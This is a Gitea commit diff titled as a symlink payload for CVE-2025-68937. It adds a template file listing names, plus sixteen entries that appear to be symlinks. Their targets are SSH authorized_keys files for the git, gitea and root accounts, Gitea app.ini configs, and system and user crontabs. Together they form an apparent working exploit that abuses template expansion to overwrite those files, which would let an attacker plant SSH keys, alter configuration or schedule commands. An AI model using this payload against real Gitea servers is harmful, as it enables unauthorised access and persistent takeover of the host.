CVE-2025-68937 symlink payload extended

2026-07-07 23:09:22 +08:00 · 2026-06-18 07:10:19 +08:00 · 2026-06-18 07:10:19 +08:00 · ba184d2248
commit ba184d2248
17 changed files with 32 additions and 0 deletions
--- a/.gitea/template
+++ b/.gitea/template
@ -0,0 +1,16 @@
+ak1
+ak2
+ak3
+ak4
+ak5
+ak6
+ak7
+ak8
+ak9
+cr1
+cr2
+cr3
+cr4
+cr5
+cf1
+cf2
--- a/1
+++ b/1
@ -0,0 +1 @@
+/data/git/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/home/git/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/lib/gitea/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/lib/gitea/git/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/app/gitea/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/data/gitea/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/opt/gitea/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/root/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/home/gitea/.ssh/authorized_keys
--- a/1
+++ b/1
@ -0,0 +1 @@
+/data/gitea/conf/app.ini
--- a/1
+++ b/1
@ -0,0 +1 @@
+/etc/gitea/app.ini
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/spool/cron/crontabs/git
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/spool/cron/crontabs/root
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/spool/cron/git
--- a/1
+++ b/1
@ -0,0 +1 @@
+/var/spool/cron/crontabs/gitea
--- a/1
+++ b/1
@ -0,0 +1 @@
+/etc/crontab